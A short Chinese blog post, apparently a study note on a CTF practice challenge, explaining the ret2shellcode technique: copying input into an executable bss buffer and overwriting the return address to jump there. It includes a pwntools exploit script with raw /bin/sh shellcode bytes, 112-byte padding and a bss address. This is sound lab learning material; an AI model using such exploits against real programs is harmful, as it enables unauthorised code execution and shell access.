美文网首页
一.2_基本rop_ret2shellcode

一.2_基本rop_ret2shellcode

作者: Zero_0_0 | 来源:发表于2019-05-03 23:43 被阅读0次

1.ret2shellcode,即控制程序执行shellcode 代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell
2.在程序没有开启任何权限的时候,我们可以利用shellcode,进行获取我们的shell
3.输入数据然后拷贝到buf2的地方,要是buf2 具有可执行权限,我们这一将shellcode放入,然后读取buf2处的shellcode

 strncpy(buf2, (const char *)&v4, 0x64u);

思考
1.我们可以先将数据先传入,然后ret到我们数据的地方
2.先填充垃圾,然后将ret构造成我们栈的开始位置,重新开始输入shellcode(衍生一下,ret = 刷新环境地址
3.结合vmmap查看我们的bss段是不是具有rxw权限

from pwn import*


p = process('./ret2shellcode')
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

shellcode = asm(shellcraft.sh())   ##获取shellcode
bss_addr = 0x804a080

payload = shellcode.ljust(112, 'A')   #112 = 108 + 4(rbp)
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()

相关文章

网友评论

      本文标题:一.2_基本rop_ret2shellcode

      本文链接:https://www.haomeiwen.com/subject/wjktoqtx.html